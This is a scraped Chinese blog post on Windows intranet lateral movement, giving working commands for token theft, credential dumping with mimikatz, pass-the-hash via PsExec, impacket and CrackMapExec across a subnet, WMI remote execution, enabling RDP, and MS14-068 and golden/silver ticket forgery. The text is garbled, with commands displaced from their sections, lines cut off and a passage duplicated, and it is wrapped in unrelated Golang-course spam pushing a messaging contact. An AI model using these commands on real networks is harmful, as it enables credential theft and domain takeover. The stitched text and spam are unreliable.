先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新Golang全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip1024b (备注go)
正文
4、msf窃取token
横向渗透
一、PTH(pass the hash)
概述:pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
1、pass the hash的原理
在Windows系统中,通常会使用NTLM身份认证
#AccessToken 的列举
incognito.exe list_tokens -u
#操作
incognito.exe execute -c "完整的 Token 名" cmd.exe``incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe``use incognito #加载 incognito``list_tokens -u #列出 AccessToken``getuid #查看当前 token``impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即
ps #列出进程pid
steal_token 1252 #从进程窃取 token``getsystem #提升至 system 权限``rev2self #返回到之前的 AccessToken 权限
NTLM认证不使用明文口令,而是使用加密后的hash值,hash值由系统API生成
hash分为LM hash 和NTLM hash,如果密码大于15位则无法生成LM hash,从2008以后微软禁用LM hash
攻击者获取了hash,就可以在身份认证的时候模拟该用户(跳过调用API生成hash的过程)
2、适用范围
域环境/工作组环境
可以获取hash,但是条件是不允许爆破hash
内网中存在和当前机器相同的密码
3、关于微软补丁和禁用
在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号
仍可以进行 Pass The Hash 远程 ipc 连接。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。
从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。
4、攻击
使用mimikatz
得到hash后
成功后 会弹出终端 cmd。此时的cmd中以及导入了hash可以进行ipc等连接
二、Psexec
1、概述
psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主
机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。
2、条件
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭。
3、明文连接
4、hash连接
出现错误的情况可以使用impacket工具包下的psexec连接
privilege::debug``sekurlsa::logonpasswords``mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt``privilege::debug``sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
#命令
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmd``PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"
#参数
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框``-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显``-u 域\用户名``-p 密码
#命令
psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
5、psexec注意事项
需要远程系统开启 admin$ 共享(默认是开启的)
因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会
产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。
6、登陆域管理命令
impacket 下的 psexec
python3 psexec.py darkid/Administrator@192.168.0.142
执行命令后输入密码
登陆其他主机管理员
psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd
三、msf的smb连接
1、使用
2、crackmapexec
CrackMapExec 可以对 C 段中的主机进行批量 pth,
项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令
四、WMI横向
1、概述
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中
2、条件
使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123``use exploit/windows/smb/psexec``set SMBUser Administrator``set rhosts 192.168.0.141``set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4``run``crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4``对 192.168.9.0/24 C 段进行批量 pass the hash
3、wmi使用命令
通过wmi执行ipconfig命令
建立ipc连接,读取内容
4、wmiexec.py利用
在 impacket 工具包里有 wmiexec.py 脚本,执行 whoami 命令
【注】wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 这个部分可以随便填写
wmiexec.py 明文获取 shell
5、powershell的wmi
Invoke-WmiCommand
Invoke-WMIMethod
6、wmic 的其他命令
使用 wmic 远程开启目标的 RDP
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
net use \\192.168.0.123\ipc$ "123456" /user:administrator``type \\192.168.0.123\c$\ip.txt
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami
python3 wmiexec.py administrator:123456@192.168.0.123
Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。在 Powershell 中运行以下命令
# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
# 指定目标系统用户名
$User = “.\administrator”
# 指定目标系统的密码
$Password = ConvertTo-SecureString -String “123456” -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList U s e r , User, User,Password
# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123
# 将执行结果输出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
# 指定目标系统用户名
$User=“.\administrator”
# 指定目标系统密码
$Password=ConvertTo-SecureString -String “123456” -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList U s e r , User, User,Password
# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList “calc.exe” -ComputerName “192.168.0.123” -Credential $Cred
# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!=“”) CALL SetAllowT
判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。
远程重启
票据传递攻击(PTT)
一、域内常用的两种攻击方式:
1、黄金票据 Golden ticket
2、白银票据 Silver ticket
二、金票 Golden ticket
1、原理
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC
中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交
互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。
2、特点
不需要与 AS 进行交互,需要用户 krbtgt 的 Hash
3、伪造凭据,提升域内普通用户的权限(MS14-068)
以一个本地 administrator 用户登录域内的一个主机中。
通过命令:net config workstation,获取域信息
通过命令:nltest /dsgetdc:域名,获取DC主机名
上传 mimikatz,以管理员权限运行 CMD,再去执行 mimikatz
利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 :systeminfo |find “3011780”,如果返回为空就
说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。
上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test用户的 SID
使用 MS14-068 伪造票据
使用方法
# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName=‘计算机名’ call SetAllowTSConnections 1
#或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentContro
REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnectionswmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”>log.txt
#执行命令:
ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:mimikatz # kerberos::purge //清空票据mimikatz # kerberos::ptc 票据文件地址
再输入 dir \08server-ad.moonhack.com\c$,发现访问成功,现在我们有域管的权限
添加域管账号密码
4、伪造金票
条件
使用一下命令导出用户 krbtgt 的 hash:
利用 mimikatz 生成金票生成.kirbi 文件并保存
5、金票的使用
登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。
ipc连接访问
三、银票 Silver ticket
1、原理
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进
行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对
方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
lient 带着 ST 和 Authenticator3 向 Server 上的某个服务进
行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对
方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
[外链图片转存中…(img-sA3myd4a-1713465922868)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!